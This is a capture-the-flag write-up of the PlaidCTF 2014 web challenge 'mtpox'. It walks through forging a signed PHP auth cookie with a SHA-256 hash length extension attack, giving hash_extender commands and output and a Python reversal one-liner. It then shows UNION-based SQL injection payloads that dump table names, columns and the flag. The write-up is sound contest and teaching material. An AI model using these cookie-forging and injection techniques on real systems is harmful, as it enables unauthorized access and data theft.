PlaidCTF 2014: mtpox

150 Point Web Challenge > The Plague has traveled back in time to create a cryptocurrency before Satoshi does in an attempt to quickly gain the resources required for his empire. As you step out of your time machine, you learn his exchange has stopped trades, due to some sort of bug. However, if you could break into the database and show a different story of where the coins went, we might be able to stop The Plague.

Looking at the webapp, we discover two pages of content, and a link to an admin page, but visiting the admin page gives an “Access Denied.” Looking at our cookies, we get one auth with value b%3A0%3B, which, urldecoded is b:0;. Since we know this is a PHP app, we can easily recognize this as a serialized false boolean. The other cookie, hsh has the value ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3. This value is unchanged regardless of IP, visit time, etc, so it’s a pretty safe assumption it’s not salted in any way. GIven the length, we can assume it’s SHA-256. The about page tells us there’s an 8 character “salt”, but it really seems to be just a static key.

A few quick tries shows that simply modifying the auth or clearing the hsh cookies aren’t enough to get access, so I consider a hash length extension attack. Unfortunately, appending data to a serialized PHP value is quite useless, the unserialize function stops at the end of the first value, so b:0;b:1; does no good. (Same with padding in between.) We need a way to get our true value at the beginning. I guessed that maybe they’re reversing the auth value before doing the hashing. Update: There was, in fact, an arbitrary file read as well, that would allow me to see for certain that it was reversed before hashing.

So, how to execute the length extension attack? I have written a python tool for MD5 before, but this is SHA-256, so I could update that, but one of my coworkers has an awesome tool to do it for a wide variety of hash types, data formats, etc. I drop the reversed strings into hash_extender and look for my output:

% ./hash_extender -d ';0:b' -s ef16c2bffbcf0b7567217f292f9c2a9a50885e01e002fa34db34c0bb916ed5c3 -a ';1:b' -f sha256 -l 8 --out-data-format=html
Type: sha256
Secret length: 8
New signature: 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1
New string: %3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab

Of course, this string is now backwards, so we need to reverse it, but we need to reverse the decoded version of it. Trivial python one-liner incoming!

% python -c "import urllib; print urllib.quote(urllib.unquote('%3b0%3ab%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%60%3b1%3ab')[::-1])"

Great, so I’ll plug that in as the auth cookie, and 967ca6fa9eacfe716cd74db1b1db85800e451ca85d29bd27782832b9faa16ae1 for hsh, and we’re done, right? Well, it works, but no flag.

We get a box to query for PlaidCoin values, but putting things in redirects to a non-existent page. So, removing the action so it redirects to the same page works, but finds nothing obvious, until I insert a quote, revealing the SQL Injection flaw.

Let’s use MySQL’s information_schema virtual database to do some information gathering. We can find out what tables exist with a query like: 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database(). This returns “Wallet 1=1 UNION SELECT group_concat(table_name) from information_schema.tables WHERE table_schema=database() contains plaidcoin_wallets coins.” So, we know there’s only one table, plaidcoin_wallets. Time to find out what columns exist. 1=1 UNION SELECT group_concat(column_name) from information_schema.columns WHERE table_schema=database(). This reveals 2 columns: id and amount.

Let’s find out what ID contains. 1=1 UNION SELECT group_concat(id) from plaidcoin_wallets shows just one wallet, with the name pctf{phpPhPphpPPPphpcoin}. Turn in the flag, and we’re up 150 points!

Big thanks to Ron at for the great write-up and tool for hash length extension attacks. Update: Apparently Ron has written this one up as well, see here for his writeup.